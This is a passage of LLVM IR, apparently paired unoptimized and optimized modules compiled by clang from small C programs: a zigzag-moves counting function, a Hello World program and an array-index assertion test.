%124 = sub nsw i32 %123, 1
%125 = sext i32 %124 to i64
%126 = getelementptr inbounds i32, ptr %122, i64 %125
%127 = load i32, ptr %126, align 4
%128 = sub nsw i32 %121, %127
%129 = add nsw i32 %128, 1
%130 = load i32, ptr %6, align 4
%131 = add nsw i32 %130, %129
store i32 %131, ptr %6, align 4
%132 = load i32, ptr %6, align 4
%133 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.3, i32 noundef %132)
br label %134
134: ; preds = %116, %103, %98
%135 = load i32, ptr %7, align 4
%136 = icmp sgt i32 %135, 0
br i1 %136, label %137, label %210
137: ; preds = %134
%138 = load i32, ptr %7, align 4
%139 = load i32, ptr %4, align 4
%140 = sub nsw i32 %139, 1
%141 = icmp slt i32 %138, %140
br i1 %141, label %142, label %210
142: ; preds = %137
%143 = load ptr, ptr %3, align 8
%144 = load i32, ptr %7, align 4
%145 = sext i32 %144 to i64
%146 = getelementptr inbounds i32, ptr %143, i64 %145
%147 = load i32, ptr %146, align 4
%148 = load ptr, ptr %3, align 8
%149 = load i32, ptr %7, align 4
%150 = add nsw i32 %149, 1
%151 = sext i32 %150 to i64
%152 = getelementptr inbounds i32, ptr %148, i64 %151
%153 = load i32, ptr %152, align 4
%154 = icmp sle i32 %147, %153
br i1 %154, label %168, label %155
155: ; preds = %142
%156 = load ptr, ptr %3, align 8
%157 = load i32, ptr %7, align 4
%158 = sext i32 %157 to i64
%159 = getelementptr inbounds i32, ptr %156, i64 %158
%160 = load i32, ptr %159, align 4
%161 = load ptr, ptr %3, align 8
%162 = load i32, ptr %7, align 4
%163 = sub nsw i32 %162, 1
%164 = sext i32 %163 to i64
%165 = getelementptr inbounds i32, ptr %161, i64 %164
%166 = load i32, ptr %165, align 4
%167 = icmp sle i32 %160, %166
br i1 %167, label %168, label %210
168: ; preds = %155, %142
%169 = load ptr, ptr %3, align 8
%170 = load i32, ptr %7, align 4
%171 = sub nsw i32 %170, 1
%172 = sext i32 %171 to i64
%173 = getelementptr inbounds i32, ptr %169, i64 %172
%174 = load i32, ptr %173, align 4
%175 = load ptr, ptr %3, align 8
%176 = load i32, ptr %7, align 4
%177 = add nsw i32 %176, 1
%178 = sext i32 %177 to i64
%179 = getelementptr inbounds i32, ptr %175, i64 %178
%180 = load i32, ptr %179, align 4
%181 = icmp sgt i32 %174, %180
br i1 %181, label %182, label %189
182: ; preds = %168
%183 = load ptr, ptr %3, align 8
%184 = load i32, ptr %7, align 4
%185 = sub nsw i32 %184, 1
%186 = sext i32 %185 to i64
%187 = getelementptr inbounds i32, ptr %183, i64 %186
%188 = load i32, ptr %187, align 4
br label %196
189: ; preds = %168
%190 = load ptr, ptr %3, align 8
%191 = load i32, ptr %7, align 4
%192 = add nsw i32 %191, 1
%193 = sext i32 %192 to i64
%194 = getelementptr inbounds i32, ptr %190, i64 %193
%195 = load i32, ptr %194, align 4
br label %196
196: ; preds = %189, %182
%197 = phi i32 [ %188, %182 ], [ %195, %189 ]
store i32 %197, ptr %8, align 4
%198 = load i32, ptr %8, align 4
%199 = load ptr, ptr %3, align 8
%200 = load i32, ptr %7, align 4
%201 = sext i32 %200 to i64
%202 = getelementptr inbounds i32, ptr %199, i64 %201
%203 = load i32, ptr %202, align 4
%204 = sub nsw i32 %198, %203
%205 = add nsw i32 %204, 1
%206 = load i32, ptr %5, align 4
%207 = add nsw i32 %206, %205
store i32 %207, ptr %5, align 4
%208 = load i32, ptr %5, align 4
%209 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.4, i32 noundef %208)
br label %210
210: ; preds = %196, %155, %137, %134
%211 = load i32, ptr %7, align 4
%212 = icmp sgt i32 %211, 0
br i1 %212, label %213, label %286
213: ; preds = %210
%214 = load i32, ptr %7, align 4
%215 = load i32, ptr %4, align 4
%216 = sub nsw i32 %215, 1
%217 = icmp slt i32 %214, %216
br i1 %217, label %218, label %286
218: ; preds = %213
%219 = load ptr, ptr %3, align 8
%220 = load i32, ptr %7, align 4
%221 = sext i32 %220 to i64
%222 = getelementptr inbounds i32, ptr %219, i64 %221
%223 = load i32, ptr %222, align 4
%224 = load ptr, ptr %3, align 8
%225 = load i32, ptr %7, align 4
%226 = add nsw i32 %225, 1
%227 = sext i32 %226 to i64
%228 = getelementptr inbounds i32, ptr %224, i64 %227
%229 = load i32, ptr %228, align 4
%230 = icmp sge i32 %223, %229
br i1 %230, label %244, label %231
231: ; preds = %218
%232 = load ptr, ptr %3, align 8
%233 = load i32, ptr %7, align 4
%234 = sext i32 %233 to i64
%235 = getelementptr inbounds i32, ptr %232, i64 %234
%236 = load i32, ptr %235, align 4
%237 = load ptr, ptr %3, align 8
%238 = load i32, ptr %7, align 4
%239 = sub nsw i32 %238, 1
%240 = sext i32 %239 to i64
%241 = getelementptr inbounds i32, ptr %237, i64 %240
%242 = load i32, ptr %241, align 4
%243 = icmp sge i32 %236, %242
br i1 %243, label %244, label %286
244: ; preds = %231, %218
%245 = load ptr, ptr %3, align 8
%246 = load i32, ptr %7, align 4
%247 = sub nsw i32 %246, 1
%248 = sext i32 %247 to i64
%249 = getelementptr inbounds i32, ptr %245, i64 %248
%250 = load i32, ptr %249, align 4
%251 = load ptr, ptr %3, align 8
%252 = load i32, ptr %7, align 4
%253 = add nsw i32 %252, 1
%254 = sext i32 %253 to i64
%255 = getelementptr inbounds i32, ptr %251, i64 %254
%256 = load i32, ptr %255, align 4
%257 = icmp slt i32 %250, %256
br i1 %257, label %258, label %265
258: ; preds = %244
%259 = load ptr, ptr %3, align 8
%260 = load i32, ptr %7, align 4
%261 = sub nsw i32 %260, 1
%262 = sext i32 %261 to i64
%263 = getelementptr inbounds i32, ptr %259, i64 %262
%264 = load i32, ptr %263, align 4
br label %272
265: ; preds = %244
%266 = load ptr, ptr %3, align 8
%267 = load i32, ptr %7, align 4
%268 = add nsw i32 %267, 1
%269 = sext i32 %268 to i64
%270 = getelementptr inbounds i32, ptr %266, i64 %269
%271 = load i32, ptr %270, align 4
br label %272
272: ; preds = %265, %258
%273 = phi i32 [ %264, %258 ], [ %271, %265 ]
store i32 %273, ptr %9, align 4
%274 = load ptr, ptr %3, align 8
%275 = load i32, ptr %7, align 4
%276 = sext i32 %275 to i64
%277 = getelementptr inbounds i32, ptr %274, i64 %276
%278 = load i32, ptr %277, align 4
%279 = load i32, ptr %9, align 4
%280 = sub nsw i32 %278, %279
%281 = add nsw i32 %280, 1
%282 = load i32, ptr %6, align 4
%283 = add nsw i32 %282, %281
store i32 %283, ptr %6, align 4
%284 = load i32, ptr %5, align 4
%285 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.5, i32 noundef %284)
br label %286
286: ; preds = %272, %231, %213, %210
br label %287
287: ; preds = %286
%288 = load i32, ptr %7, align 4
%289 = add nsw i32 %288, 2
store i32 %289, ptr %7, align 4
br label %10, !llvm.loop !6
290: ; preds = %10
%291 = load i32, ptr %5, align 4
%292 = load i32, ptr %6, align 4
%293 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.6, i32 noundef %291, i32 noundef %292)
%294 = load i32, ptr %5, align 4
%295 = load i32, ptr %6, align 4
%296 = icmp sgt i32 %294, %295
br i1 %296, label %297, label %299
297: ; preds = %290
%298 = load i32, ptr %6, align 4
br label %301
299: ; preds = %290
%300 = load i32, ptr %5, align 4
br label %301
301: ; preds = %299, %297
%302 = phi i32 [ %298, %297 ], [ %300, %299 ]
ret i32 %302
}
declare i32 @printf(ptr noundef, i32 noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpkaw3qd7u.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [11 x i8] c"cnts 0 %d\0A\00", align 1
@.str.1 = private unnamed_addr constant [12 x i8] c"cnts2 0 %d\0A\00", align 1
@.str.2 = private unnamed_addr constant [14 x i8] c"cnts last %d\0A\00", align 1
@.str.3 = private unnamed_addr constant [15 x i8] c"cnts2 last %d\0A\00", align 1
@.str.4 = private unnamed_addr constant [9 x i8] c"cnts %d\0A\00", align 1
@.str.5 = private unnamed_addr constant [10 x i8] c"cnts2 %d\0A\00", align 1
@.str.6 = private unnamed_addr constant [18 x i8] c"cnts %d cnts2 %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @movesToMakeZigzag(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
store i32 0, ptr %5, align 4
store i32 0, ptr %6, align 4
store i32 0, ptr %7, align 4
%10 = load i32, ptr %7, align 4
%11 = load i32, ptr %4, align 4
%12 = icmp slt i32 %10, %11
br i1 %12, label %.lr.ph, label %292
.lr.ph: ; preds = %2
br label %13
13: ; preds = %.lr.ph, %286
%14 = load i32, ptr %7, align 4
%15 = icmp eq i32 %14, 0
br i1 %15, label %16, label %37
16: ; preds = %13
%17 = load ptr, ptr %3, align 8
%18 = getelementptr inbounds i32, ptr %17, i64 0
%19 = load i32, ptr %18, align 4
%20 = load ptr, ptr %3, align 8
%21 = getelementptr inbounds i32, ptr %20, i64 1
%22 = load i32, ptr %21, align 4
%23 = icmp sle i32 %19, %22
br i1 %23, label %24, label %37
24: ; preds = %16
%25 = load ptr, ptr %3, align 8
%26 = getelementptr inbounds i32, ptr %25, i64 1
%27 = load i32, ptr %26, align 4
%28 = load ptr, ptr %3, align 8
%29 = getelementptr inbounds i32, ptr %28, i64 0
%30 = load i32, ptr %29, align 4
%31 = sub nsw i32 %27, %30
%32 = add nsw i32 %31, 1
%33 = load i32, ptr %5, align 4
%34 = add nsw i32 %33, %32
store i32 %34, ptr %5, align 4
%35 = load i32, ptr %5, align 4
%36 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str, i32 noundef %35)
br label %37
37: ; preds = %24, %16, %13
%38 = load i32, ptr %7, align 4
%39 = icmp eq i32 %38, 0
br i1 %39, label %40, label %61
40: ; preds = %37
%41 = load ptr, ptr %3, align 8
%42 = getelementptr inbounds i32, ptr %41, i64 0
%43 = load i32, ptr %42, align 4
%44 = load ptr, ptr %3, align 8
%45 = getelementptr inbounds i32, ptr %44, i64 1
%46 = load i32, ptr %45, align 4
%47 = icmp sge i32 %43, %46
br i1 %47, label %48, label %61
48: ; preds = %40
%49 = load ptr, ptr %3, align 8
%50 = getelementptr inbounds i32, ptr %49, i64 0
%51 = load i32, ptr %50, align 4
%52 = load ptr, ptr %3, align 8
%53 = getelementptr inbounds i32, ptr %52, i64 1
%54 = load i32, ptr %53, align 4
%55 = sub nsw i32 %51, %54
%56 = add nsw i32 %55, 1
%57 = load i32, ptr %6, align 4
%58 = add nsw i32 %57, %56
store i32 %58, ptr %6, align 4
%59 = load i32, ptr %6, align 4
%60 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.1, i32 noundef %59)
br label %61
61: ; preds = %48, %40, %37
%62 = load i32, ptr %7, align 4
%63 = load i32, ptr %4, align 4
%64 = sub nsw i32 %63, 1
%65 = icmp eq i32 %62, %64
br i1 %65, label %66, label %97
66: ; preds = %61
%67 = load ptr, ptr %3, align 8
%68 = load i32, ptr %7, align 4
%69 = sext i32 %68 to i64
%70 = getelementptr inbounds i32, ptr %67, i64 %69
%71 = load i32, ptr %70, align 4
%72 = load ptr, ptr %3, align 8
%73 = load i32, ptr %7, align 4
%74 = sub nsw i32 %73, 1
%75 = sext i32 %74 to i64
%76 = getelementptr inbounds i32, ptr %72, i64 %75
%77 = load i32, ptr %76, align 4
%78 = icmp sle i32 %71, %77
br i1 %78, label %79, label %97
79: ; preds = %66
%80 = load ptr, ptr %3, align 8
%81 = load i32, ptr %7, align 4
%82 = sub nsw i32 %81, 1
%83 = sext i32 %82 to i64
%84 = getelementptr inbounds i32, ptr %80, i64 %83
%85 = load i32, ptr %84, align 4
%86 = load ptr, ptr %3, align 8
%87 = load i32, ptr %7, align 4
%88 = sext i32 %87 to i64
%89 = getelementptr inbounds i32, ptr %86, i64 %88
%90 = load i32, ptr %89, align 4
%91 = sub nsw i32 %85, %90
%92 = add nsw i32 %91, 1
%93 = load i32, ptr %5, align 4
%94 = add nsw i32 %93, %92
store i32 %94, ptr %5, align 4
%95 = load i32, ptr %5, align 4
%96 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.2, i32 noundef %95)
br label %97
97: ; preds = %79, %66, %61
%98 = load i32, ptr %7, align 4
%99 = load i32, ptr %4, align 4
%100 = sub nsw i32 %99, 1
%101 = icmp eq i32 %98, %100
br i1 %101, label %102, label %133
102: ; preds = %97
%103 = load ptr, ptr %3, align 8
%104 = load i32, ptr %7, align 4
%105 = sext i32 %104 to i64
%106 = getelementptr inbounds i32, ptr %103, i64 %105
%107 = load i32, ptr %106, align 4
%108 = load ptr, ptr %3, align 8
%109 = load i32, ptr %7, align 4
%110 = sub nsw i32 %109, 1
%111 = sext i32 %110 to i64
%112 = getelementptr inbounds i32, ptr %108, i64 %111
%113 = load i32, ptr %112, align 4
%114 = icmp sge i32 %107, %113
br i1 %114, label %115, label %133
115: ; preds = %102
%116 = load ptr, ptr %3, align 8
%117 = load i32, ptr %7, align 4
%118 = sext i32 %117 to i64
%119 = getelementptr inbounds i32, ptr %116, i64 %118
%120 = load i32, ptr %119, align 4
%121 = load ptr, ptr %3, align 8
%122 = load i32, ptr %7, align 4
%123 = sub nsw i32 %122, 1
%124 = sext i32 %123 to i64
%125 = getelementptr inbounds i32, ptr %121, i64 %124
%126 = load i32, ptr %125, align 4
%127 = sub nsw i32 %120, %126
%128 = add nsw i32 %127, 1
%129 = load i32, ptr %6, align 4
%130 = add nsw i32 %129, %128
store i32 %130, ptr %6, align 4
%131 = load i32, ptr %6, align 4
%132 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.3, i32 noundef %131)
br label %133
133: ; preds = %115, %102, %97
%134 = load i32, ptr %7, align 4
%135 = icmp sgt i32 %134, 0
br i1 %135, label %136, label %209
136: ; preds = %133
%137 = load i32, ptr %7, align 4
%138 = load i32, ptr %4, align 4
%139 = sub nsw i32 %138, 1
%140 = icmp slt i32 %137, %139
br i1 %140, label %141, label %209
141: ; preds = %136
%142 = load ptr, ptr %3, align 8
%143 = load i32, ptr %7, align 4
%144 = sext i32 %143 to i64
%145 = getelementptr inbounds i32, ptr %142, i64 %144
%146 = load i32, ptr %145, align 4
%147 = load ptr, ptr %3, align 8
%148 = load i32, ptr %7, align 4
%149 = add nsw i32 %148, 1
%150 = sext i32 %149 to i64
%151 = getelementptr inbounds i32, ptr %147, i64 %150
%152 = load i32, ptr %151, align 4
%153 = icmp sle i32 %146, %152
br i1 %153, label %167, label %154
154: ; preds = %141
%155 = load ptr, ptr %3, align 8
%156 = load i32, ptr %7, align 4
%157 = sext i32 %156 to i64
%158 = getelementptr inbounds i32, ptr %155, i64 %157
%159 = load i32, ptr %158, align 4
%160 = load ptr, ptr %3, align 8
%161 = load i32, ptr %7, align 4
%162 = sub nsw i32 %161, 1
%163 = sext i32 %162 to i64
%164 = getelementptr inbounds i32, ptr %160, i64 %163
%165 = load i32, ptr %164, align 4
%166 = icmp sle i32 %159, %165
br i1 %166, label %167, label %209
167: ; preds = %154, %141
%168 = load ptr, ptr %3, align 8
%169 = load i32, ptr %7, align 4
%170 = sub nsw i32 %169, 1
%171 = sext i32 %170 to i64
%172 = getelementptr inbounds i32, ptr %168, i64 %171
%173 = load i32, ptr %172, align 4
%174 = load ptr, ptr %3, align 8
%175 = load i32, ptr %7, align 4
%176 = add nsw i32 %175, 1
%177 = sext i32 %176 to i64
%178 = getelementptr inbounds i32, ptr %174, i64 %177
%179 = load i32, ptr %178, align 4
%180 = icmp sgt i32 %173, %179
br i1 %180, label %181, label %188
181: ; preds = %167
%182 = load ptr, ptr %3, align 8
%183 = load i32, ptr %7, align 4
%184 = sub nsw i32 %183, 1
%185 = sext i32 %184 to i64
%186 = getelementptr inbounds i32, ptr %182, i64 %185
%187 = load i32, ptr %186, align 4
br label %195
188: ; preds = %167
%189 = load ptr, ptr %3, align 8
%190 = load i32, ptr %7, align 4
%191 = add nsw i32 %190, 1
%192 = sext i32 %191 to i64
%193 = getelementptr inbounds i32, ptr %189, i64 %192
%194 = load i32, ptr %193, align 4
br label %195
195: ; preds = %188, %181
%196 = phi i32 [ %187, %181 ], [ %194, %188 ]
store i32 %196, ptr %8, align 4
%197 = load i32, ptr %8, align 4
%198 = load ptr, ptr %3, align 8
%199 = load i32, ptr %7, align 4
%200 = sext i32 %199 to i64
%201 = getelementptr inbounds i32, ptr %198, i64 %200
%202 = load i32, ptr %201, align 4
%203 = sub nsw i32 %197, %202
%204 = add nsw i32 %203, 1
%205 = load i32, ptr %5, align 4
%206 = add nsw i32 %205, %204
store i32 %206, ptr %5, align 4
%207 = load i32, ptr %5, align 4
%208 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.4, i32 noundef %207)
br label %209
209: ; preds = %195, %154, %136, %133
%210 = load i32, ptr %7, align 4
%211 = icmp sgt i32 %210, 0
br i1 %211, label %212, label %285
212: ; preds = %209
%213 = load i32, ptr %7, align 4
%214 = load i32, ptr %4, align 4
%215 = sub nsw i32 %214, 1
%216 = icmp slt i32 %213, %215
br i1 %216, label %217, label %285
217: ; preds = %212
%218 = load ptr, ptr %3, align 8
%219 = load i32, ptr %7, align 4
%220 = sext i32 %219 to i64
%221 = getelementptr inbounds i32, ptr %218, i64 %220
%222 = load i32, ptr %221, align 4
%223 = load ptr, ptr %3, align 8
%224 = load i32, ptr %7, align 4
%225 = add nsw i32 %224, 1
%226 = sext i32 %225 to i64
%227 = getelementptr inbounds i32, ptr %223, i64 %226
%228 = load i32, ptr %227, align 4
%229 = icmp sge i32 %222, %228
br i1 %229, label %243, label %230
230: ; preds = %217
%231 = load ptr, ptr %3, align 8
%232 = load i32, ptr %7, align 4
%233 = sext i32 %232 to i64
%234 = getelementptr inbounds i32, ptr %231, i64 %233
%235 = load i32, ptr %234, align 4
%236 = load ptr, ptr %3, align 8
%237 = load i32, ptr %7, align 4
%238 = sub nsw i32 %237, 1
%239 = sext i32 %238 to i64
%240 = getelementptr inbounds i32, ptr %236, i64 %239
%241 = load i32, ptr %240, align 4
%242 = icmp sge i32 %235, %241
br i1 %242, label %243, label %285
243: ; preds = %230, %217
%244 = load ptr, ptr %3, align 8
%245 = load i32, ptr %7, align 4
%246 = sub nsw i32 %245, 1
%247 = sext i32 %246 to i64
%248 = getelementptr inbounds i32, ptr %244, i64 %247
%249 = load i32, ptr %248, align 4
%250 = load ptr, ptr %3, align 8
%251 = load i32, ptr %7, align 4
%252 = add nsw i32 %251, 1
%253 = sext i32 %252 to i64
%254 = getelementptr inbounds i32, ptr %250, i64 %253
%255 = load i32, ptr %254, align 4
%256 = icmp slt i32 %249, %255
br i1 %256, label %257, label %264
257: ; preds = %243
%258 = load ptr, ptr %3, align 8
%259 = load i32, ptr %7, align 4
%260 = sub nsw i32 %259, 1
%261 = sext i32 %260 to i64
%262 = getelementptr inbounds i32, ptr %258, i64 %261
%263 = load i32, ptr %262, align 4
br label %271
264: ; preds = %243
%265 = load ptr, ptr %3, align 8
%266 = load i32, ptr %7, align 4
%267 = add nsw i32 %266, 1
%268 = sext i32 %267 to i64
%269 = getelementptr inbounds i32, ptr %265, i64 %268
%270 = load i32, ptr %269, align 4
br label %271
271: ; preds = %264, %257
%272 = phi i32 [ %263, %257 ], [ %270, %264 ]
store i32 %272, ptr %9, align 4
%273 = load ptr, ptr %3, align 8
%274 = load i32, ptr %7, align 4
%275 = sext i32 %274 to i64
%276 = getelementptr inbounds i32, ptr %273, i64 %275
%277 = load i32, ptr %276, align 4
%278 = load i32, ptr %9, align 4
%279 = sub nsw i32 %277, %278
%280 = add nsw i32 %279, 1
%281 = load i32, ptr %6, align 4
%282 = add nsw i32 %281, %280
store i32 %282, ptr %6, align 4
%283 = load i32, ptr %5, align 4
%284 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.5, i32 noundef %283)
br label %285
285: ; preds = %271, %230, %212, %209
br label %286
286: ; preds = %285
%287 = load i32, ptr %7, align 4
%288 = add nsw i32 %287, 2
store i32 %288, ptr %7, align 4
%289 = load i32, ptr %7, align 4
%290 = load i32, ptr %4, align 4
%291 = icmp slt i32 %289, %290
br i1 %291, label %13, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %286
br label %292
292: ; preds = %._crit_edge, %2
%293 = load i32, ptr %5, align 4
%294 = load i32, ptr %6, align 4
%295 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.6, i32 noundef %293, i32 noundef %294)
%296 = load i32, ptr %5, align 4
%297 = load i32, ptr %6, align 4
%298 = icmp sgt i32 %296, %297
br i1 %298, label %299, label %301
299: ; preds = %292
%300 = load i32, ptr %6, align 4
br label %303
301: ; preds = %292
%302 = load i32, ptr %5, align 4
br label %303
303: ; preds = %301, %299
%304 = phi i32 [ %300, %299 ], [ %302, %301 ]
ret i32 %304
}
declare i32 @printf(ptr noundef, i32 noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpk3h3mi5x.c'
source_filename = "/tmp/tmpk3h3mi5x.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [13 x i8] c"Hello World!\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @main() #0 {
%1 = alloca ptr, align 8
store ptr @.str, ptr %1, align 8
%2 = load ptr, ptr %1, align 8
%3 = load ptr, ptr %1, align 8
%4 = call i32 @strlen(ptr noundef %3)
%5 = call i32 @write(i32 noundef 0, ptr noundef %2, i32 noundef %4)
%6 = call i32 (...) @u_pass()
ret void
}
declare i32 @write(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @strlen(ptr noundef) #1
declare i32 @u_pass(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpk3h3mi5x.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [13 x i8] c"Hello World!\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @main() #0 {
%1 = alloca ptr, align 8
store ptr @.str, ptr %1, align 8
%2 = load ptr, ptr %1, align 8
%3 = load ptr, ptr %1, align 8
%4 = call i32 @strlen(ptr noundef %3)
%5 = call i32 @write(i32 noundef 0, ptr noundef %2, i32 noundef %4)
%6 = call i32 (...) @u_pass()
ret void
}
declare i32 @write(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @strlen(ptr noundef) #1
declare i32 @u_pass(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp0t6hj08j.c'
source_filename = "/tmp/tmp0t6hj08j.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.test_var_indexes.a = private unnamed_addr constant [3 x [2 x i32]] [[2 x i32] [i32 0, i32 1], [2 x i32] [i32 2, i32 3], [2 x i32] [i32 4, i32 5]], align 16
@.str = private unnamed_addr constant [13 x i8] c"a[i][j] == 2\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @test_var_indexes() #0 {
%1 = alloca [3 x [2 x i32]], align 16
%2 = alloca i32, align 4
%3 = alloca i32, align 4
call void @llvm.memcpy.p0.p0.i64(ptr align 16 %1, ptr align 16 @__const.test_var_indexes.a, i64 24, i1 false)
store i32 1, ptr %2, align 4
store i32 0, ptr %3, align 4
%4 = load i32, ptr %2, align 4
%5 = sext i32 %4 to i64
%6 = getelementptr inbounds [3 x [2 x i32]], ptr %1, i64 0, i64 %5
%7 = load i32, ptr %3, align 4
%8 = sext i32 %7 to i64
%9 = getelementptr inbounds [2 x i32], ptr %6, i64 0, i64 %8
%10 = load i32, ptr %9, align 4
%11 = icmp eq i32 %10, 2
%12 = zext i1 %11 to i32
%13 = call i32 @assertTrue(ptr noundef @.str, i32 noundef %12)
ret void
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1
declare i32 @assertTrue(ptr noundef, i32 noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp0t6hj08j.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.test_var_indexes.a = private unnamed_addr constant [3 x [2 x i32]] [[2 x i32] [i32 0, i32 1], [2 x i32] [i32 2, i32 3], [2 x i32] [i32 4, i32 5]], align 16
@.str = private unnamed_addr constant [13 x i8] c"a[i][j] == 2\00", align 1
